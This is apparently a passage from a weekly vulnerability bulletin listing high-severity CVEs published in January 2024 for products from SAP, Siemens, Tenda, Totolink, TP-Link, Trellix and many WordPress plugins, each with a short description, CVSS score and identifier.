sap -- lt_replication_server	SAP LT Replication Server - version S4CORE 103, S4CORE 104, S4CORE 105, S4CORE 106, S4CORE 107, S4CORE 108, does not perform necessary authorization checks. This could allow an attacker with high privileges to perform unintended actions, resulting in escalation of privileges, which has High impact on confidentiality, integrity and availability of the system.	2024-01-09	7.2	CVE-2024-21735 cna@sap.com cna@sap.com
sap_se -- sap_application_interface_framework_(file_adapter)	In SAP Application Interface Framework File Adapter - version 702, a high privilege user can use a function module to traverse through various layers and execute OS commands directly. By this, such user can control the behavior of the application. This leads to considerable impact on confidentiality, integrity and availability.	2024-01-09	8.4	CVE-2024-21737 cna@sap.com cna@sap.com
schneider_electric -- easergy_studio	A CWE-502: Deserialization of untrusted data vulnerability exists that could allow an attacker logged in with a user level account to gain higher privileges by providing a harmful serialized object.	2024-01-09	7.8	CVE-2023-7032 cybersecurity@se.com
siemens -- jt2go	A vulnerability has been identified in JT2Go (All versions < V14.3.0.6), Teamcenter Visualization V13.3 (All versions < V13.3.0.13), Teamcenter Visualization V14.1 (All versions < V14.1.0.12), Teamcenter Visualization V14.2 (All versions < V14.2.0.9), Teamcenter Visualization V14.3 (All versions < V14.3.0.6). The affected applications contain an out of bounds read past the end of an allocated structure while parsing specially crafted CGM files. This could allow an attacker to execute code in the context of the current process.	2024-01-09	7.8	CVE-2023-51439 productcert@siemens.com
siemens -- jt2go	A vulnerability has been identified in JT2Go (All versions < V14.3.0.6), Teamcenter Visualization V13.3 (All versions < V13.3.0.13), Teamcenter Visualization V14.1 (All versions < V14.1.0.12), Teamcenter Visualization V14.2 (All versions < V14.2.0.9), Teamcenter Visualization V14.3 (All versions < V14.3.0.6). The affected applications contain a stack overflow vulnerability while parsing specially crafted CGM files. This could allow an attacker to execute code in the context of the current process.	2024-01-09	7.8	CVE-2023-51745 productcert@siemens.com
siemens -- jt2go	A vulnerability has been identified in JT2Go (All versions < V14.3.0.6), Teamcenter Visualization V13.3 (All versions < V13.3.0.13), Teamcenter Visualization V14.1 (All versions < V14.1.0.12), Teamcenter Visualization V14.2 (All versions < V14.2.0.9), Teamcenter Visualization V14.3 (All versions < V14.3.0.6). The affected applications contain a stack overflow vulnerability while parsing specially crafted CGM files. This could allow an attacker to execute code in the context of the current process.	2024-01-09	7.8	CVE-2023-51746 productcert@siemens.com
siemens -- simatic_cn_4100	A vulnerability has been identified in SIMATIC CN 4100 (All versions < V2.7). The "intermediate installation" system state of the affected application allows an attacker to add their own login credentials to the device. This allows an attacker to remotely login as root and take control of the device even after the affected device is fully set up.	2024-01-09	9.8	CVE-2023-49251 productcert@siemens.com
siemens -- simatic_cn_4100	A vulnerability has been identified in SIMATIC CN 4100 (All versions < V2.7). The "intermediate installation" system state of the affected application uses default credential with admin privileges. An attacker could use the credentials to gain complete control of the affected device.	2024-01-09	9.8	CVE-2023-49621 productcert@siemens.com

High Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
siemens -- simatic_cn_4100	A vulnerability has been identified in SIMATIC CN 4100 (All versions < V2.7). The affected application allows IP configuration change without authentication to the device. This could allow an attacker to cause denial of service condition.	2024-01-09	7.5	CVE-2023-49252 productcert@siemens.com
siemens -- simatic_ipc1047e	A vulnerability has been identified in SIMATIC IPC1047E (All versions with maxView Storage Manager < V4.14.00.26068 on Windows), SIMATIC IPC647E (All versions with maxView Storage Manager < V4.14.00.26068 on Windows), SIMATIC IPC847E (All versions with maxView Storage Manager < V4.14.00.26068 on Windows). In default installations of maxView Storage Manager where Redfish® server is configured for remote system management, a vulnerability has been identified that can provide unauthorized access.	2F024-01-09	10	CVE-2023-51438 productcert@siemens.com
siemens -- solid_edge_se2023	A vulnerability has been identified in Solid Edge SE2023 (All versions < V223.0 Update 10). The affected application is vulnerable to heap-based buffer overflow while parsing specially crafted PAR files. This could allow an attacker to execute code in the context of the current process.	2024-01-09	7.8	CVE-2023-49121 productcert@siemens.com
siemens -- solid_edge_se2023	A vulnerability has been identified in Solid Edge SE2023 (All versions < V223.0 Update 10). The affected application is vulnerable to heap-based buffer overflow while parsing specially crafted PAR files. This could allow an attacker to execute code in the context of the current process.	2024-01-09	7.8	CVE-2023-49122 productcert@siemens.com
siemens -- solid_edge_se2023	A vulnerability has been identified in Solid Edge SE2023 (All versions < V223.0 Update 10). The affected application is vulnerable to heap-based buffer overflow while parsing specially crafted PAR files. This could allow an attacker to execute code in the context of the current process.	2024-01-09	7.8	CVE-2023-49123 productcert@siemens.com
siemens -- solid_edge_se2023	A vulnerability has been identified in Solid Edge SE2023 (All versions < V223.0 Update 10). The affected applications contain an out of bounds read past the end of an allocated structure while parsing specially crafted PAR files. This could allow an attacker to execute code in the context of the current process.	2024-01-09	7.8	CVE-2023-49124 productcert@siemens.com
siemens -- solid_edge_se2023	A vulnerability has been identified in Solid Edge SE2023 (All versions < V223.0 Update 10). The affected applications contain an out of bounds read past the end of an allocated structure while parsing specially crafted PAR files. This could allow an attacker to execute code in the context of the current process.	2024-01-09	7.8	CVE-2023-49126 productcert@siemens.com
siemens -- solid_edge_se2023	A vulnerability has been identified in Solid Edge SE2023 (All versions < V223.0 Update 10). The affected applications contain an out of bounds read past the end of an allocated structure while parsing specially crafted PAR files. This could allow an attacker to execute code in the context of the current process.	2024-01-09	7.8	CVE-2023-49127 productcert@siemens.com
siemens -- solid_edge_se2023	A vulnerability has been identified in Solid Edge SE2023 (All versions < V223.0 Update 10). The affected application contains an out of bounds write past the end of an allocated buffer while parsing a specially crafted PAR file. This could allow an attacker to execute code in the context of the current process.	2024-01-09	7.8	CVE-2023-49128 productcert@siemens.com
siemens -- solid_edge_se2023	A vulnerability has been identified in Solid Edge SE2023 (All versions < V223.0 Update 10). The affected applications contain a stack overflow vulnerability while parsing specially crafted PAR files. This could allow an attacker to execute code in the context of the current process.	2024-01-09	7.8	CVE-2023-49129 productcert@siemens.com
siemens -- solid_edge_se2023	A vulnerability has been identified in Solid Edge SE2023 (All versions < V223.0 Update 10). The affected application is vulnerable to uninitialized pointer access while parsing specially crafted PAR files. An attacker could leverage this vulnerability to execute code in the context of the current process.	2024-01-09	7.8	CVE-2023-49130 productcert@siemens.com
siemens -- solid_edge_se2023	A vulnerability has been identified in Solid Edge SE2023 (All versions < V223.0 Update 10). The affected application is vulnerable to uninitialized pointer access while parsing specially crafted PAR files. An attacker could leverage this vulnerability to execute code in the context of the current process.	2024-01-09	7.8	CVE-2023-49131 productcert@siemens.com
siemens -- solid_edge_se2023	A vulnerability has been identified in Solid Edge SE2023 (All versions < V223.0 Update 10). The affected application is vulnerable to uninitialized pointer access while parsing specially crafted PAR files. An attacker could leverage this vulnerability to execute code in the context of the current process.	2024-01-09	7.8	CVE-2023-49132 productcert@siemens.com
siemens -- spectrum_power_7	A vulnerability has been identified in Spectrum Power 7 (All versions < V23Q4). The affected product's sudo configuration permits the local administrative account to execute several entries as root user. This could allow an authenticated local attacker to inject arbitrary code and gain root access.	2024-01-09	7.8	CVE-2023-44120 productcert@siemens.com
smartersite -- wp_compress_â€“_image_optimizer_[all-in-one]	The WP Compress - Image Optimizer [All-In-One] plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 6.10.33 via the css parameter. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information.	2024-01-11	9.1	CVE-2023-6699

High Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
smashballoon -- custom_twitter_feeds	Cross-Site Request Forgery (CSRF) vulnerability in Smash Balloon Custom Twitter Feeds - A Tweets Widget or X Feed Widget.This issue affects Custom Twitter Feeds - A Tweets Widget or X Feed Widget: from n/a through 2.1.2.	2024-01-05	8.8	CVE-2023-52136
snapcreek -- duplicator	The Duplicator WordPress plugin before 1.3.0 does not properly escape values when its installer script replaces values in WordPress configuration files. If this installer script is left on the site after use, it could be use to run arbitrary code on the server.	2024-01-08	9.8	CVE-2018-25095
studip -- stud.ip	Stud.IP 5.x through 5.3.3 allows XSS with resultant upload of executable files, because upload_action and edit_action in Admin_SmileysController do not check the file extension. This leads to remote code execution with the privileges of the www-data user. The fixed versions are 5.3.4, 5.2.6, 5.1.7, and 5.0.9.	2024-01-08	9	CVE-2023-50982
stylishpricelist -- stylish_price_list	Cross-Site Request Forgery (CSRF) vulnerability in Designful Stylish Price List - Price Table Builder & QR Code Restaurant Menu.This issue affects Stylish Price List - Price Table Builder & QR Code Restaurant Menu: from n/a through 7.0.17.	2024-01-05	9.8	CVE-2023-51673
subnet -- powersystem_center	PowerSYSTEM Center versions 2020 Update 16 and prior contain a vulnerability that may allow an authorized local user to insert arbitrary code into the unquoted service path and escalate privileges.	2024-01-08	7.8	CVE-2023-6631 ics-cert@hq.dhs.gov ics-cert@hq.dhs.gov
surajghosh -- hospital_management_system	A vulnerability classified as critical was found in Kashipara Hospital Management System up to 1.0. Affected by this vulnerability is an unknown functionality of the file login.php of the component Parameter Handler. The manipulation of the argument email/password leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-249823.	2024-01-07	9.8	CVE-2024-0267
surajghosh -- hospital_management_system	A vulnerability, which was classified as critical, has been found in Kashipara Hospital Management System up to 1.0. Affected by this issue is some unknown functionality of the file registration.php. The manipulation of the argument name/email/pass/gender/age/city leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-249824.	2024-01-07	9.8	CVE-2024-0268
svnlabs -- html5_mp3_player_with_folder_feedburner_playlist_free	Deserialization of Untrusted Data vulnerability in SVNLabs Softwares HTML5 MP3 Player with Folder Feedburner Playlist Free.This issue affects HTML5 MP3 Player with Folder Feedburner Playlist Free: from n/a through 2.8.0.	2024-01-08	7.2	CVE-2023-52202
svnlabs -- html5_mp3_player_with_playlist_free	Deserialization of Untrusted Data vulnerability in SVNLabs Softwares HTML5 MP3 Player with Playlist Free.This issue affects HTML5 MP3 Player with Playlist Free: from n/a through 3.0.0.	2024-01-08	8.8	CVE-2023-52207
svnlabs -- html5_soundcloud_player_with_playlist_free	Deserialization of Untrusted Data vulnerability in SVNLabs Softwares HTML5 SoundCloud Player with Playlist Free.This issue affects HTML5 SoundCloud Player with Playlist Free: from n/a through 2.8.0.	2024-01-08	7.2	CVE-2023-52205
taggbox -- taggbox	Deserialization of Untrusted Data vulnerability in Tagbox Tagbox - UGC Galleries, Social Media Widgets, User Reviews & Analytics. This issue affects Tagbox - UGC Galleries, Social Media Widgets, User Reviews & Analytics: from n/a through 3.1.	2024-01-08	9.8	CVE-2023-52225
taokeyun -- taokeyun	A vulnerability was found in Taokeyun up to 1.0.5. It has been classified as critical. Affected is the function login of the file application/index/controller/m/User.php of the component HTTP POST Request Handler. The manipulation of the argument username leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-250584.	2024-01-13	7.3	CVE-2024-0479
taokeyun -- taokeyun	A vulnerability was found in Taokeyun up to 1.0.5. It has been declared as critical. Affected by this vulnerability is the function index of the file application/index/controller/m/Drs.php of the component HTTP POST Request Handler. The manipulation of the argument cid leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-250585 was assigned to this vulnerability.	2024-01-13	7.3	CVE-2024-0480
tenda -- a18_firmware	Tenda A18 v15.13.07.09 was discovered to contain a stack overflow via the devName parameter in the formSetDeviceName function.	2024-01-09	9.8	CVE-2023-50585
tenda -- ax12_firmware	Buffer Overflow vulnerability in Tenda AX12 V22.03.01.46, allows remote attackers to cause a denial of service (DoS) via list parameter in SetNetControlList function.	2024-01-10	7.5	CVE-2023-49427
tenda -- ax1803_firmware	Tenda AX1803 v1.0.0.1 contains a stack overflow via the adv.iptv.stbpvid parameter in the function formSetIptv.	2024-01-10	9.8	CVE-2023-51952

High Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
tenda -- ax1803_firmware	Tenda AX1803 v1.0.0.1 contains a stack overflow via the iptv.stb.mode parameter in the function formSetIptv.	2024-01-10	9.8	CVE-2023-51953
tenda -- ax1803_firmware	Tenda AX1803 v1.0.0.1 contains a stack overflow via the iptv.stb.port parameter in the function formSetIptv.	2024-01-10	9.8	CVE-2023-51954
tenda -- ax1803_firmware	Tenda AX1803 v1.0.0.1 contains a stack overflow via the adv.iptv.stballvlans parameter in the function formSetIptv.	2024-01-10	9.8	CVE-2023-51955
tenda -- ax1803_firmware	Tenda AX1803 v1.0.0.1 contains a stack overflow via the iptv.city.vlan parameter in the function formSetIptv	2024-01-10	9.8	CVE-2023-51956
tenda -- ax1803_firmware	Tenda AX1803 v1.0.0.1 contains a stack overflow via the iptv.stb.mode parameter in the function formGetIptv.	2024-01-10	9.8	CVE-2023-51957
tenda -- ax1803_firmware	Tenda AX1803 v1.0.0.1 contains a stack overflow via the iptv.stb.port parameter in the function formGetIptv.	2024-01-10	9.8	CVE-2023-51958
tenda -- ax1803_firmware	Tenda AX1803 v1.0.0.1 contains a stack overflow via the adv.iptv.stbpvid parameter in the function formGetIptv.	2024-01-10	9.8	CVE-2023-51959
tenda -- ax1803_firmware	Tenda AX1803 v1.0.0.1 contains a stack overflow via the iptv.city.vlan parameter in the function formGetIptv.	2024-01-10	9.8	CVE-2023-51960
tenda -- ax1803_firmware	Tenda AX1803 v1.0.0.1 contains a stack overflow via the adv.iptv.stballvlans parameter in the function formGetIptv.	2024-01-10	9.8	CVE-2023-51961
tenda -- ax1803_firmware	Tenda AX1803 v1.0.0.1 contains a stack overflow via the iptv.stb.mode parameter in the function setIptvInfo.	2024-01-10	9.8	CVE-2023-51962
tenda -- ax1803_firmware	Tenda AX1803 v1.0.0.1 contains a stack overflow via the iptv.city.vlan parameter in the function setIptvInfo.	2024-01-10	9.8	CVE-2023-51963
tenda -- ax1803_firmware	Tenda AX1803 v1.0.0.1 contains a stack overflow via the iptv.stb.port parameter in the function setIptvInfo.	2024-01-10	9.8	CVE-2023-51964
tenda -- ax1803_firmware	Tenda AX1803 v1.0.0.1 contains a stack overflow via the adv.iptv.stbpvid parameter in the function setIptvInfo.	2024-01-10	9.8	CVE-2023-51965
tenda -- ax1803_firmware	Tenda AX1803 v1.0.0.1 contains a stack overflow via the adv.iptv.stballvlans parameter in the function setIptvInfo.	2024-01-10	9.8	CVE-2023-51966
tenda -- ax1803_firmware	Tenda AX1803 v1.0.0.1 contains a stack overflow via the iptv.stb.port parameter in the function getIptvInfo.	2024-01-10	9.8	CVE-2023-51967
tenda -- ax1803_firmware	Tenda AX1803 v1.0.0.1 contains a stack overflow via the adv.iptv.stballvlans parameter in the function getIptvInfo.	2024-01-10	9.8	CVE-2023-51968
tenda -- ax1803_firmware	Tenda AX1803 v1.0.0.1 contains a stack overflow via the iptv.city.vlan parameter in the function getIptvInfo.	2024-01-10	9.8	CVE-2023-51969
tenda -- ax1803_firmware	Tenda AX1803 v1.0.0.1 contains a stack overflow via the iptv.stb.mode parameter in the function formSetIptv.	2024-01-10	9.8	CVE-2023-51970
tenda -- ax1803_firmware	Tenda AX1803 v1.0.0.1 contains a stack overflow via the adv.iptv.stbpvid parameter in the function getIptvInfo.	2024-01-10	9.8	CVE-2023-51971
tenda -- ax1803_firmware	Tenda AX1803 v1.0.0.1 was discovered to contain a command injection vulnerability via the function fromAdvSetLanIp.	2024-01-10	9.8	CVE-2023-51972
tenda -- i29_firmware	Buffer Overflow vulnerability in Tenda i29 versions 1.0 V1.0.0.5 and 1.0 V1.0.0.2, allows remote attackers to cause a denial of service (DoS) via the pingIp parameter in the pingSet function.	2024-01-05	7.5	CVE-2023-50991
themepunch -- slider_revolution	The Slider Revolution WordPress plugin before 6.6.19 does not prevent users with at least the Author role from unserializing arbitrary content when importing sliders, potentially leading to Remote Code Execution.	2024-01-08	8.8	CVE-2023-6528
thimpress -- learnpress_â€“_wordpress_lms_plugin	The LearnPress plugin for WordPress is vulnerable to time-based SQL Injection via the 'order_by' parameter in all versions up to, and including, 4.2.5.7 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.	2024-01-11	9.8	CVE-2023-6567
tianocore -- edk2	EDK2 is susceptible to a vulnerability in the Tcg2MeasureGptTable() function, allowing a user to trigger a heap buffer overflow via a local network. Successful exploitation of this vulnerability may result in a compromise of confidentiality, integrity, and/or availability.	2024-01-09	7	CVE-2022-36763
tianocore -- edk2	EDK2 is susceptible to a vulnerability in the Tcg2MeasurePeImage() function, allowing a user to trigger a heap buffer overflow via a local network. Successful exploitation of this vulnerability may result in a compromise of confidentiality, integrity, and/or availability.	2024-01-09	7	CVE-2022-36764
tianocore -- edk2	EDK2 is susceptible to a vulnerability in the CreateHob() function, allowing a user to trigger a integer overflow to buffer overflow via a local network. Successful exploitation of this vulnerability may result in a compromise of confidentiality, integrity, and/or availability.	2024-01-09	7	CVE-2022-36765

High Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
tinowagner -- jupyter_notebook_viewer	nbviewer-app (aka Jupyter Notebook Viewer) before 0.1.6 has the get-task-allow entitlement for release builds.	2024-01-05	9.8	CVE-2023-51277
totolink -- lr1200gb_firmware	A vulnerability classified as critical has been found in Totolink LR1200GB 9.1.0u.6619_B20230130. Affected is the function setOpModeCfg of the file /cgi-bin/cstecgi.cgi. The manipulation of the argument hostName leads to os command injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-249858 is the identifier assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-08	9.8	CVE-2024-0292
totolink -- lr1200gb_firmware	A vulnerability classified as critical was found in Totolink LR1200GB 9.1.0u.6619_B20230130. Affected by this vulnerability is the function setUploadSetting of the file /cgi-bin/cstecgi.cgi. The manipulation of the argument FileName leads to os command injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-249859. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-08	9.8	CVE-2024-0293
totolink -- lr1200gb_firmware	A vulnerability, which was classified as critical, has been found in Totolink LR1200GB 9.1.0u.6619_B20230130. Affected by this issue is the function setUssd of the file /cgi-bin/cstecgi.cgi. The manipulation of the argument ussd leads to os command injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-249860. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-08	9.8	CVE-2024-0294
totolink -- lr1200gb_firmware	A vulnerability, which was classified as critical, was found in Totolink LR1200GB 9.1.0u.6619_B20230130. This affects the function setWanCfg of the file /cgi-bin/cstecgi.cgi. The manipulation of the argument hostName leads to os command injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-249861 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-08	9.8	CVE-2024-0295
totolink -- lr1200gb_firmware	A vulnerability was found in Totolink LR1200GB 9.1.0u.6619_B20230130. It has been rated as critical. This issue affects the function UploadFirmwareFile of the file /cgi-bin/cstecgi.cgi. The manipulation of the argument FileName leads to command injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-249857 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-08	8.8	CVE-2024-0291
totolink -- n200re_firmware	A vulnerability has been found in Totolink N200RE 9.3.5u.6139_B20201216 and classified as critical. This vulnerability affects the function NTPSyncWithHost of the file /cgi-bin/cstecgi.cgi. The manipulation of the argument host_time leads to os command injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-249862 is the identifier assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-08	9.8	CVE-2024-0296
totolink -- n200re_firmware	A vulnerability was found in Totolink N200RE 9.3.5u.6139_B20201216 and classified as critical. This issue affects the function UploadFirmwareFile of the file /cgi-bin/cstecgi.cgi. The manipulation of the argument FileName leads to os command injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-249863. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-08	9.8	CVE-2024-0297
totolink -- n200re_firmware	A vulnerability was found in Totolink N200RE 9.3.5u.6139_B20201216. It has been classified as critical. Affected is the function setDiagnosisCfg of the file /cgi-bin/cstecgi.cgi. The manipulation of the argument ip leads to os command injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-249864. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-08	9.8	CVE-2024-0298
totolink -- n200re_firmware	A vulnerability was found in Totolink N200RE 9.3.5u.6139_B20201216. It has been declared as critical. Affected by this vulnerability is the function setTracerouteCfg of the file /cgi-bin/cstecgi.cgi. The manipulation of the argument command leads to os command injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-249865 was	2024-01-08	9.8	CVE-2024-0299

High Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
	assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.			
totolink -- n350rt_firmware	A vulnerability has been found in Totolink N350RT 9.3.5u.6139_B202012 and classified as critical. Affected by this vulnerability is the function loginAuth of the file /cgi-bin/cstecgi.cgi. The manipulation of the argument http_host leads to stack-based buffer overflow. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-249853 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-09	9.8	CVE-2023-7219
totolink -- n350rt_firmware	A vulnerability classified as critical was found in Totolink N350RT 9.3.5u.6139_B20201216. Affected by this vulnerability is the function main of the file /cgi-bin/cstecgi.cgi?action=login&flag=1 of the component HTTP POST Request Handler. The manipulation of the argument v33 leads to stack-based buffer overflow. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-249769 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-07	8.8	CVE-2023-7213
totolink -- n350rt_firmware	A vulnerability, which was classified as critical, has been found in Totolink N350RT 9.3.5u.6139_B20201216. Affected by this issue is the function main of the file /cgi-bin/cstecgi.cgi?action=login of the component HTTP POST Request Handler. The manipulation of the argument v8 leads to stack-based buffer overflow. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-249770 is the identifier assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-07	8.8	CVE-2023-7214
totolink -- n350rt_firmware	A vulnerability, which was classified as critical, was found in Totolink N350RT 9.3.5u.6139_B202012. Affected is the function loginAuth of the file /cgi-bin/cstecgi.cgi. The manipulation of the argument password leads to stack-based buffer overflow. It is possible to launch the attack remotely. The identifier of this vulnerability is VDB-249852. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-08	7.2	CVE-2023-7218
totolink -- nr1800x_firmware	A vulnerability was found in Totolink NR1800X 9.1.0u.6279_B20210910 and classified as critical. Affected by this issue is the function loginAuth of the file /cgi-bin/cstecgi.cgi. The manipulation of the argument password leads to stack-based buffer overflow. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-249854 is the identifier assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-09	9.8	CVE-2023-7220
totolink -- t6_firmware	A vulnerability was found in Totolink T6 4.1.9cu.5241_B20210923. It has been classified as critical. This affects the function main of the file /cgi-bin/cstecgi.cgi?action=login of the component HTTP POST Request Handler. The manipulation of the argument v41 leads to buffer overflow. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-249855. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-09	9.8	CVE-2023-7221
totolink -- x2000r_firmware	A vulnerability classified as critical was found in Totolink X2000R_V2 2.0.0-B20230727.10434. This vulnerability affects the function formTmultiAP of the file /bin/boa. The manipulation leads to buffer overflow. VDB-249742 is the identifier assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-07	9.8	CVE-2023-7208
totolink -- x2000r_firmware	A vulnerability was found in Totolink X2000R 1.0.0-B20221212.1452. It has been declared as critical. This vulnerability affects the function formTmultiAP of the file /bin/boa of the component HTTP POST Request Handler. The manipulation of the argument submit-url leads to buffer overflow. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-249856. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-09	9.8	CVE-2023-7222
tp-link -- tapo	TP-Link Tapo APK up to v2.12.703 uses hardcoded credentials for access to the login panel.	2024-01-09	7.5	CVE-2023-27098
trellix -- agent	A buffer overflow vulnerability in TA for Linux and TA for MacOS prior to 5.8.1 allows a local user to gain elevated permissions, or cause a Denial of Service (DoS), through exploiting a memory corruption issue in the TA service, which runs as root. This may also result in the disabling of event reporting to ePO, caused by failure to validate input from the file correctly.	2024-01-09	7.8	CVE-2024-0213 trellixpsirt@trellix.com

High Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
trellix -- anti-malware_engine	A symbolic link manipulation vulnerability in Trellix Anti-Malware Engine prior to the January 2024 release allows an authenticated local user to potentially gain an escalation of privileges. This was achieved by adding an entry to the registry under the Trellix ENS registry folder with a symbolic link to files that the user wouldn't normally have permission to. After a scan, the Engine would follow the links and remove the files	2024-01-09	7.1	CVE-2024-0206 trellixpsirt@trellix.com
trendnet -- tv-ip1314pi_firmware	An issue was discovered in libremote_dbg.so on TRENDnet TV-IP1314PI 5.5.3 200714 devices. Filtering of debug information is mishandled during use of popen. Consequently, an attacker can bypass validation and execute a shell command.	2024-01-09	9.8	CVE-2023-49235
trendnet -- tv-ip1314pi_firmware	A stack-based buffer overflow was discovered on TRENDnet TV-IP1314PI 5.5.3 200714 devices, leading to arbitrary command execution. This occurs because of lack of length validation during a sscanf of a user-entered scale field in the RTSP playback function of davinci.	2024-01-09	9.8	CVE-2023-49236
uniwayinfo -- uw-302vp_firmware	A vulnerability was found in Uniway Router 2.0. It has been declared as critical. This vulnerability affects unknown code of the component Administrative Web Interface. The manipulation leads to reliance on ip address for authentication. The attack can be initiated remotely. The complexity of an attack is rather high. The exploitation appears to be difficult. The exploit has been disclosed to the public and may be used. VDB-249766 is the identifier assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-07	8.1	CVE-2023-7211
uniwayinfo -- uw-302vp_firmware	A vulnerability was found in Uniway Router up to 2.0. It has been rated as critical. Affected by this issue is some unknown functionality of the file /boaform/device_reset.cgi of the component Device Reset Handler. The manipulation leads to denial of service. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-249758 is the identifier assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-07	7.5	CVE-2023-7209
wallix -- bastion	WALLIX Bastion 7.x, 8.x, 9.x and 10.x and WALLIX Access Manager 3.x and 4.x have Incorrect Access Control which can lead to sensitive data exposure.	2024-01-08	7.5	CVE-2023-49961
wazuh -- wazuh	Wazuh is a free and open source platform used for threat prevention, detection, and response. This bug introduced a stack overflow hazard that could allow a local privilege escalation. This vulnerability was patched in version 4.5.3.	2024-01-12	7.4	CVE-2023-42463
wiselyhub -- js_help_desk	Unrestricted Upload of File with Dangerous Type vulnerability in JS Help Desk JS Help Desk - Best Help Desk & Support Plugin.This issue affects JS Help Desk - Best Help Desk & Support Plugin: from n/a through 2.7.1.	2024-01-05	9.8	CVE-2022-46839
wordpress -- wordpress	Authorization Bypass Through User-Controlled Key vulnerability in WooCommerce WooCommerce Stripe Payment Gateway. This issue affects WooCommerce Stripe Payment Gateway: from n/a through 7.6.1.	2024-01-05	9.8	CVE-2023-51502
wordpress -- wordpress	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in UkrSolution Simple Inventory Management - just scan barcode to manage products and orders. For WooCommerce.This issue affects Simple Inventory Management - just scan barcode to manage products and orders. For WooCommerce: from n/a through 1.5.1.	2024-01-08	9.8	CVE-2023-52215
wordpress -- wordpress	Deserialization of Untrusted Data vulnerability in Anton Bond Woocommerce Tranzila Payment Gateway. This issue affects Woocommerce Tranzila Payment Gateway: from n/a through 1.0.8.	2024-01-08	9.8	CVE-2023-52218
wordpress -- wordpress	Missing Authorization vulnerability in Rymera Web Co Wholesale Suite - WooCommerce Wholesale Prices, B2B, Catalog Mode, Order Form, Wholesale User Roles, Dynamic Pricing & More.This issue affects Wholesale Suite - WooCommerce Wholesale Prices, B2B, Catalog Mode, Order Form, Wholesale User Roles, Dynamic Pricing & More: from n/a through 2.1.5.	2024-01-08	8.8	CVE-2022-34344
wordpress -- wordpress	Cross-Site Request Forgery (CSRF) vulnerability in WPClever WPC Product Bundles for WooCommerce.This issue affects WPC Product Bundles for WooCommerce: from n/a through 7.3.1.	2024-01-05	8.8	CVE-2023-52127
wordpress -- wordpress	Cross-Site Request Forgery (CSRF) vulnerability in WhiteWP White Label - WordPress Custom Admin, Custom Login Page, and Custom Dashboard.This issue affects White Label - WordPress Custom Admin, Custom Login Page, and Custom Dashboard: from n/a through 2.9.0.	2024-01-05	8.8	CVE-2023-52128
wordpress -- wordpress	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Cool Plugins Events Shortcodes For The Events Calendar.This issue affects Events Shortcodes For The Events Calendar: from n/a through 2.3.1.	2024-01-08	8.8	CVE-2023-52142
wordpress -- wordpress	Cross-Site Request Forgery (CSRF) vulnerability in Automattic WooCommerce.This issue affects WooCommerce: from n/a through 8.2.2.	2024-01-08	8.8	CVE-2023-52222

High Vulnerabilities

